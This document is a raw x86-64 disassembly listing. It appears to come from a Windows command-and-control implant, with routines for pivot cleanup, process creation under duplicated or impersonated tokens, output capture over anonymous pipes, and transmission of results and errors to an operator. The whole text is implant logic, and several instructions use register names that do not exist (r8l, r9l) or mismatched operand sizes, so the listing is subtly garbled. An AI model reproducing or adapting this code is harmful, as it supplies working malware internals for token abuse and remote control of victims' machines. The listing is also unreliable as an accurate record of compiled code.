    1400197cbpush rbx
    1400197ccsub rsp, 32
    1400197d0call printf
    1400197d5mov rsi, [rip+0x12b94]
    1400197dcmov ecx, edi
    1400197demov rdx, [rsi+2294]
    1400197e5call PivotGet
    1400197eatest rdx, rdx
    1400197edje 0x140019910
    1400197f3test rax, rax
    1400197f6mov rbx, rax
    1400197f9sete al
    1400197fcje 0x140019910
    140019802cmp [rdx], edi
    140019804jne 0x14001989c
    14001980amov rdi, [rdx+8]
    14001980emov rbx, [rdx+32]
    140019812test rdi, rdi
    140019815je 0x14001982d
    140019817mov ecx, [rdx+16]
    14001981arep stosb [rdi], al
    14001981cmov rax, [rsi+2294]
    140019823mov rcx, [rax+8]
    140019827call [rsi+940]
    14001982d
    14001982dloc_14001982d:
    14001982dmov rax, [rsi+2294]
    140019834mov rcx, [rax+24]
    140019838test rcx, rcx
    14001983bje 0x140019853
    14001983dcall [rsi+868]
    140019843mov rax, [rsi+2294]
    14001984amov rcx, [rax+24]
    14001984ecall SysNtClose
    140019853
    140019853loc_140019853:
    140019853mov rdi, [rsi+2294]
    14001985axor eax, eax
    14001985cxor r9l, r9l
    14001985fxor r10l, r10l
    140019862xor r11l, r11l
    140019865mov ecx, 40
    14001986amov [rdi], eax
    14001986cxor eax, eax
    14001986emov [rdi+8], r9
    140019872mov [rdi+16], r10l
    140019876mov [rdi+24], r11
    14001987arep stosb [rdi], al
    14001987cmov rcx, [rsi+2294]
    140019883call [rsi+940]
    140019889mov [rsi+2294], rbx
    140019890
    140019890loc_140019890:
    140019890mov eax, 1
    140019895jmp 0x140019912
    140019897
    140019897loc_140019897:
    140019897test rdx, rdx
    14001989aje 0x140019910
    14001989c
    14001989cloc_14001989c:
    14001989cmov rax, rdx
    14001989fmov rdx, [rdx+32]
    1400198a3cmp rdx, rbx
    1400198a6jne 0x140019897
    1400198a8mov rdx, [rbx+32]
    1400198acmov rdi, [rbx+8]
    1400198b0mov [rax+32], rdx
    1400198b4test rdi, rdi
    1400198b7je 0x1400198ca
    1400198b9mov ecx, [rbx+16]
    1400198bcxor eax, eax
    1400198berep stosb [rdi], al
    1400198c0mov rcx, [rbx+8]
    1400198c4call [rsi+940]
    1400198ca
    1400198caloc_1400198ca:
    1400198camov rcx, [rbx+24]
    1400198cetest rcx, rcx
    1400198d1je 0x1400198e2
    1400198d3call [rsi+868]
    1400198d9mov rcx, [rbx+24]
    1400198ddcall SysNtClose
    1400198e2
    1400198e2loc_1400198e2:
    1400198e2xor eax, eax
    1400198e4xor ecx, ecx
    1400198e6xor edx, edx
    1400198e8xor r8l, r8l
    1400198ebmov [rbx+8], rax
    1400198efmov rdi, rbx
    1400198f2xor eax, eax
    1400198f4mov [rbx+24], rcx
    1400198f8mov ecx, 40
    1400198fdmov [rbx+16], edx
    140019900mov [rbx], r8l
    140019903rep stosb [rdi], al
    140019905mov rcx, rbx
    140019908call [rsi+940]
    14001990ejmp 0x140019890
    140019910
    140019910loc_140019910:
    140019910xor eax, eax
    140019912
    140019912loc_140019912:
    140019912add rsp, 32
    140019916pop rbx
    140019917pop rsi
    140019918pop rdi
    140019919ret
    1400197b0
    14001991a
    14001991a // align 0x10
    140019920
    140019920ProcessCreate:
    140019920push r15
    140019922xor eax, eax
    140019924mov ecx, 25
    140019929push r14
    14001992bpush r13
    14001992dpush r12
    14001992fxor r12l, r12l
    140019932push rbp
    140019933mov ebp, r9l
    140019936push rdi
    140019937push rsi
    140019938mov rsi, r8
    14001993bpush rbx
    14001993csub rsp, 1288
    140019943lea rdi, [rsp+140]
    14001994bmov [rsp+1368], rdx
    140019953mov r14l, [rsp+1400]
    14001995brep stosd [rdi], eax
    14001995dmov ecx, 89
    140019962mov [rsp+128], r12
    14001996amov r13, [rsp+1392]
    140019972mov [rsp+136], 104
    14001997dmov r15, [rsp+1408]
    140019985xor r12l, r12l
    140019988mov [rsp+196], 257
    140019993call PackageCreate
    140019998mov edx, 21
    14001999dmov rcx, rax
    1400199a0mov [rsp+104], rax
    1400199a5call PackageAddInt32
    1400199aatest r14l, r14l
    1400199admov rbx, [rip+0x129bc]
    1400199b4je 0x140019a1c
    1400199b6lea r9, [rip+0x10a5c]
    1400199bdmov r8l, 606
    1400199c3lea rdx, [rip+0x13b16]
    1400199calea rcx, [rip+0x1099c]
    1400199d1call printf
    1400199d6mov edx, 16
    1400199dbmov ecx, 64
    1400199e0call [rbx+932]
    1400199e6mov ecx, 16
    1400199ebmov r12, rax
    1400199eemov rdi, rax
    1400199f1xor eax, eax
    1400199f3rep stosb [rdi], al
    1400199f5mov rcx, r12
    1400199f8xor edi, edi
    1400199facall AnonPipesInit
    1400199ffmov rax, [r12+8]
    140019a04mov [rsp+216], rdi
    140019a0cmov [rsp+232], rax
    140019a14mov [rsp+224], rax
    140019a1c
    140019a1cloc_140019a1c:
    140019a1ctest r15, r15
    140019a1fje 0x140019a60
    140019a21lea r9, [rip+0x109ff]
    140019a28mov r8l, 617
    140019a2elea rdx, [rip+0x13aab]
    140019a35lea rcx, [rip+0x10931]
    140019a3ccall printf
    140019a41mov rax, [r15+8]
    140019a45xor r11l, r11l
    140019a48mov [rsp+216], r11
    140019a50mov [rsp+232], rax
    140019a58mov [rsp+224], rax
    140019a60
    140019a60loc_140019a60:
    140019a60mov r15l, [rbx+2290]
    140019a67test r15l, r15l
    140019a6aje 0x140019d49
    140019a70lea r9, [rip+0x109cb]
    140019a77mov r8l, 641
    140019a7dlea rdx, [rip+0x13a5c]
    140019a84mov r15l, 260
    140019a8alea rcx, [rip+0x108dc]
    140019a91lea rdi, [rsp+240]
    140019a99call printf
    140019a9exor eax, eax
    140019aa0mov rcx, r15
    140019aa3rep stosd [rdi], eax
    140019aa5lea rdi, [rsp+240]
    140019aadmov rdx, rdi
    140019ab0mov r15, rcx
    140019ab3mov ecx, 520
    140019ab8call [rbx+996]
    140019abetest eax, eax
    140019ac0cmovne r15, rdi
    140019ac4xor ecx, ecx
    140019ac6call TokenImpersonate
    140019acbmov ecx, 1
    140019ad0call TokenSetSeImpersonatePriv
    140019ad5mov r9, rsi
    140019ad8mov r8l, 654
    140019adelea rdx, [rip+0x139fb]
    140019ae5lea rcx, [rip+0x10962]
    140019aeccall printf
    140019af1lea rcx, [rip+0x1097f]
    140019af8mov r9, r15
    140019afbmov r8l, 655
    140019b01lea rdx, [rip+0x139d8]
    140019b08call printf
    140019b0dmov rcx, [rbx+2282]
    140019b14mov eax, [rcx+20]
    140019b17cmp ax, 1
    140019b1bjne 0x140019c35
    140019b21lea rdi, [rsp+128]
    140019b29xor r8l, r8l
    140019b2cmov edx, 0xf01ff
    140019b31mov [rsp+32], 1
    140019b39mov [rsp+40], rdi
    140019b3emov rcx, [rcx]
    140019b41mov r9l, 3
    140019b47call SysDuplicateTokenEx
    140019b4ctest eax, eax
    140019b4ejne 0x140019ba2
    140019b50mov rax, [rbx+2282]
    140019b57mov [rsp+40], rdi
    140019b5cxor r8l, r8l
    140019b5fmov r9l, 2
    140019b65mov [rsp+32], 1
    140019b6dmov edx, 0xf01ff
    140019b72mov rcx, [rax]
    140019b75call SysDuplicateTokenEx
    140019b7atest eax, eax
    140019b7cjne 0x140019ba2
    140019b7emov rax, [rbx+2230]
    140019b85mov r8l, 664
    140019b8blea rdx, [rip+0x1394e]
    140019b92lea rcx, [rip+0x10907]
    140019b99mov r9l, [rax+104]
    140019b9djmp 0x140019d12
    140019ba2
    140019ba2loc_140019ba2:
    140019ba2lea r9, [rip+0x10927]
    140019ba9mov r8l, 671
    140019baflea rdx, [rip+0x1392a]
    140019bb6or ebp, 0x8000000
    140019bbclea rcx, [rip+0x107aa]
    140019bc3call printf
    140019bc8xor r10l, r10l
    140019bcbmov [rsp+64], r13
    140019bd0mov r9, rsi
    140019bd3lea rax, [rsp+136]
    140019bdbmov [rsp+48], r15
    140019be0mov r8, [rsp+1368]
    140019be8mov edx, 2
    140019bedmov [rsp+56], rax
    140019bf2mov rcx, [rsp+128]
    140019bfamov [rsp+40], r10
    140019bffmov [rsp+32], ebp
    140019c03call [rbx+1356]
    140019c09test eax, eax
    140019c0bjne 0x140019d3e
    140019c11mov rax, [rbx+2230]
    140019c18mov r8l, 685
    140019c1elea rdx, [rip+0x138bb]
    140019c25lea rcx, [rip+0x108bc]
    140019c2cmov r9l, [rax+104]
    140019c30jmp 0x140019d12
    140019c35
    140019c35loc_140019c35:
    140019c35cmp ax, 2
    140019c39jne 0x140019d3e
    140019c3flea r9, [rip+0x108d8]
    140019c46mov r8l, 693
    140019c4clea rdx, [rip+0x1388d]
    140019c53or ebp, 0x8000000
    140019c59lea rcx, [rip+0x1070d]
    140019c60call printf
    140019c65mov rax, [rbx+2282]
    140019c6cmov r8l, 694
    140019c72lea rcx, [rip+0x108bd]
    140019c79mov rdx, [rax+32]
    140019c7dmov r9, [rax+24]
    140019c81mov [rsp+40], rdx
    140019c86mov rax, [rax+40]
    140019c8alea rdx, [rip+0x1384f]
    140019c91mov [rsp+32], rax
    140019c96call printf
    140019c9bmov rax, [rbx+2282]
    140019ca2xor r9l, r9l
    140019ca5mov r8, [rax+32]
    140019ca9mov rdx, [rax+40]
    140019cadmov rcx, [rax+24]
    140019cb1lea rax, [rsp+136]
    140019cb9mov [rsp+56], r9
    140019cbemov r9l, 2
    140019cc4mov [rsp+72], rax
    140019cc9mov rax, [rsp+1368]
    140019cd1mov [rsp+80], r13
    140019cd6mov [rsp+64], r15
    140019cdbmov [rsp+48], ebp
    140019cdfmov [rsp+40], rsi
    140019ce4mov [rsp+32], rax
    140019ce9call [rbx+1364]
    140019ceftest eax, eax
    140019cf1jne 0x140019d3e
    140019cf3mov rax, [rbx+2230]
    140019cfamov r8l, 708
    140019d00lea rdx, [rip+0x137d9]
    140019d07lea rcx, [rip+0x1085f]
    140019d0emov r9l, [rax+104]
    140019d12
    140019d12loc_140019d12:
    140019d12call printf
    140019d17mov ecx, 1
    140019d1cmov ebp, 1
    140019d21mov rax, [rbx+2230]
    140019d28mov edx, [rax+104]
    140019d2bcall PackageTransmitError
    140019d30test r14l, r14l
    140019d33jne 0x140019f8f
    140019d39jmp 0x140019f7b
    140019d3e
    140019d3eloc_140019d3e:
    140019d3emov r15l, 1
    140019d44jmp 0x140019ddc
    140019d49
    140019d49loc_140019d49:
    140019d49xor ecx, ecx
    140019d4blea rax, [rsp+136]
    140019d53xor r9l, r9l
    140019d56xor r8l, r8l
    140019d59or ebp, 0x8000000
    140019d5fmov [rsp+56], rcx
    140019d64mov rdx, rsi
    140019d67mov [rsp+48], rcx
    140019d6cmov rcx, [rsp+1368]
    140019d74mov [rsp+40], ebp
    140019d78mov [rsp+72], r13
    140019d7dmov [rsp+64], rax
    140019d82mov [rsp+32], 1
    140019d8acall [rbx+956]
    140019d90mov ebp, eax
    140019d92test eax, eax
    140019d94jne 0x140019ddc
    140019d96mov rax, [rbx+2230]
    140019d9dlea rdx, [rip+0x1373c]
    140019da4lea rcx, [rip+0x107f8]
    140019dabmov r8l, 729
    140019db1mov r9l, [rax+104]
    140019db5call printf
    140019dbamov rax, [rbx+2230]
    140019dc1mov ecx, 1
    140019dc6mov edx, [rax+104]
    140019dc9call PackageTransmitError
    140019dcetest r14l, r14l
    140019dd1jne 0x140019f8f
    140019dd7jmp 0x140019f60
    140019ddc
    140019ddcloc_140019ddc:
    140019ddccmp [r13], 0
    140019de1je 0x140019f2f
    140019de7mov rax, [rip+0x12582]
    140019deecmp [rax+224], 0
    140019df5je 0x140019f2f
    140019dfblea r9, [rip+0x107ce]
    140019e02mov r8l, 739
    140019e08lea rdx, [rip+0x136d1]
    140019e0flea rcx, [rip+0x10557]
    140019e16call printf
    140019e1btest rsi, rsi
    140019e1ejne 0x140019e4f
    140019e20mov rdx, [rsp+1368]
    140019e28mov rcx, [rsp+104]
    140019e2dcall PackageAddWString
    140019e32mov rcx, [rsp+104]
    140019e37mov edx, [r13+16]
    140019e3bcall PackageAddInt32
    140019e40mov rcx, [rsp+104]
    140019e45call PackageTransmit
    140019e4ajmp 0x140019f2f
    140019e4f
    140019e4floc_140019e4f:
    140019e4fmov rcx, rsi
    140019e52call StringLengthW
    140019e57mov ecx, 64
    140019e5cmovsxd rbp, eax
    140019e5fmov [rsp+124], eax
    140019e63mov rax, [rip+0x12506]
    140019e6alea rdx, [rbp+rbp]
    140019e6fcall [rax+932]
    140019e75mov r8l, [rsp+124]
    140019e7amov rcx, rbp
    140019e7dmov rdi, rax
    140019e80mov [rsp+112], rax
    140019e85rep movsb [rdi], [rsi]
    140019e87mov rsi, rax
    140019e8axor eax, eax
    140019e8c
    140019e8cloc_140019e8c:
    140019e8ccmp eax, r8l
    140019e8fjge 0x140019ea2
    140019e91cmp [rsi], 32
    140019e95lea rdx, [rsi+2]
    140019e99je 0x140019ea2
    140019e9binc eax
    140019e9dmov rsi, rdx
    140019ea0jmp 0x140019e8c
    140019ea2
    140019ea2loc_140019ea2:
    140019ea2mov r9, [rsp+112]
    140019ea7lea rdi, [rip+0x13632]
    140019eaemov r8l, 757
    140019eb4lea rcx, [rip+0x104b2]
    140019ebbmov rdx, rdi
    140019ebecall printf
    140019ec3mov eax, [r13+16]
    140019ec7mov [rsi], 0
    140019eccmov r8l, 760
    140019ed2mov r9, [rsp+112]
    140019ed7mov rdx, rdi
    140019edalea rcx, [rip+0x106fe]
    140019ee1mov [rsp+32], eax
    140019ee5call printf
    140019eeamov rdx, [rsp+112]
    140019eefmov rcx, [rsp+104]
    140019ef4call PackageAddWString
    140019ef9mov edx, [r13+16]
    140019efdmov rcx, [rsp+104]
    140019f02call PackageAddInt32
    140019f07mov rcx, [rsp+104]
    140019f0ccall PackageTransmit
    140019f11mov rdi, [rsp+112]
    140019f16mov rcx, rbp
    140019f19xor eax, eax
    140019f1brep stosb [rdi], al
    140019f1dmov rax, [rip+0x1244c]
    140019f24mov rcx, [rsp+112]
    140019f29call [rax+940]
    140019f2f
    140019f2floc_140019f2f:
    140019f2ftest r14l, r14l
    140019f32je 0x140019fda
    140019f38mov edx, [r13+16]
    140019f3cmov ecx, [rbx+8]
    140019f3fmov [rsp+40], r12
    140019f44mov r9l, 1
    140019f4amov rax, [r13]
    140019f4emov r8l, 3
    140019f54mov [rsp+32], rax
    140019f59call JobAdd
    140019f5ejmp 0x140019fda
    140019f60
    140019f60loc_140019f60:
    140019f60mov rcx, [rsp+128]
    140019f68test rcx, rcx
    140019f6bje 0x14001a003
    140019f71call SysNtClose
    140019f76jmp 0x14001a003
    140019f7b
    140019f7bloc_140019f7b:
    140019f7bmov rcx, [rsp+128]
    140019f83test rcx, rcx
    140019f86je 0x140019ff9
    140019f88call SysNtClose
    140019f8djmp 0x140019ff9
    140019f8f
    140019f8floc_140019f8f:
    140019f8fmov rcx, [r12+8]
    140019f94test rcx, rcx
    140019f97je 0x140019fa5
    140019f99call SysNtClose
    140019f9exor edx, edx
    140019fa0mov [r12+8], rdx
    140019fa5
    140019fa5loc_140019fa5:
    140019fa5mov rcx, [r12]
    140019fa9test rcx, rcx
    140019facje 0x140019fb9
    140019faecall SysNtClose
    140019fb3xor eax, eax
    140019fb5mov [r12], rax
    140019fb9
    140019fb9loc_140019fb9:
    140019fb9mov rdi, r12
    140019fbcmov ecx, 16
    140019fc1xor eax, eax
    140019fc3rep stosb [rdi], al
    140019fc5mov rax, [rip+0x123a4]
    140019fccmov rcx, r12
    140019fcfxor r14l, r14l
    140019fd2call [rax+940]
    140019fd8jmp 0x140019fe3
    140019fda
    140019fdaloc_140019fda:
    140019fdamov ebp, r15l
    140019fddmov r14l, 1
    140019fe3
    140019fe3loc_140019fe3:
    140019fe3mov rcx, [rsp+128]
    140019febtest rcx, rcx
    140019feeje 0x140019ff5
    140019ff0call SysNtClose
    140019ff5
    140019ff5loc_140019ff5:
    140019ff5test ebp, ebp
    140019ff7je 0x14001a003
    140019ff9
    140019ff9loc_140019ff9:
    140019ff9mov ecx, 1
    140019ffecall TokenImpersonate
    14001a003
    14001a003loc_14001a003:
    14001a003add rsp, 1288
    14001a00amov eax, r14l
    14001a00dpop rbx
    14001a00epop rsi
    14001a00fpop rdi
    14001a010pop rbp
    14001a011pop r12
    14001a013pop r13
    14001a015pop r14
    14001a017pop r15
    14001a019ret
    140019920
    14001a01a
    14001a01a // align 0x10
    14001a020
    14001a020ProcessIsIncluded:
    14001a020mov r8l, [rcx]
    14001a023xor eax, eax
    14001a025
    14001a025loc_14001a025:
    14001a025cmp eax, r8l
    14001a028jae 0x14001a038
    14001a02ainc rax
    14001a02dcmp [rcx+4*rax], edx
    14001a030jne 0x14001a025
    14001a032mov eax, 1
    14001a037ret
    14001a038
    14001a038loc_14001a038:
    14001a038xor eax, eax
    14001a03aret
    14001a020
    14001a03b
    14001a03b // align 0x10
    14001a040
    14001a040ProcessIsWow:
    14001a040push rbx
    14001a041xor edx, edx
    14001a043sub rsp, 64
    14001a047mov [rsp+56], rdx
    14001a04ctest rcx, rcx
    14001a04fje 0x14001a0a2
    14001a051mov rax, [rip+0x12318]
    14001a058cmp [rax+88], 0
    14001a05dje 0x14001a0a2
    14001a05fxor eax, eax
    14001a061mov r9l, 8
    14001a067lea r8, [rsp+56]
    14001a06cmov rbx, rcx
    14001a06fmov [rsp+32], rax
    14001a074mov edx, 26
    14001a079call SysNtQueryInformationProcess
    14001a07etest eax, eax
    14001a080jns 0x14001a0a6
    14001a082mov [rsp+32], eax
    14001a086mov r9, rbx
    14001a089mov r8l, 559
    14001a08flea rdx, [rip+0x1295a]
    14001a096lea rcx, [rip+0x101b3]
    14001a09dcall printf
    14001a0a2
    14001a0a2loc_14001a0a2:
    14001a0a2xor eax, eax
    14001a0a4jmp 0x14001a0aa
    14001a0a6
    14001a0a6loc_14001a0a6:
    14001a0a6mov eax, [rsp+56]
    14001a0aa
    14001a0aaloc_14001a0aa:
    14001a0aaadd rsp, 64
    14001a0aepop rbx
    14001a0afret
    14001a040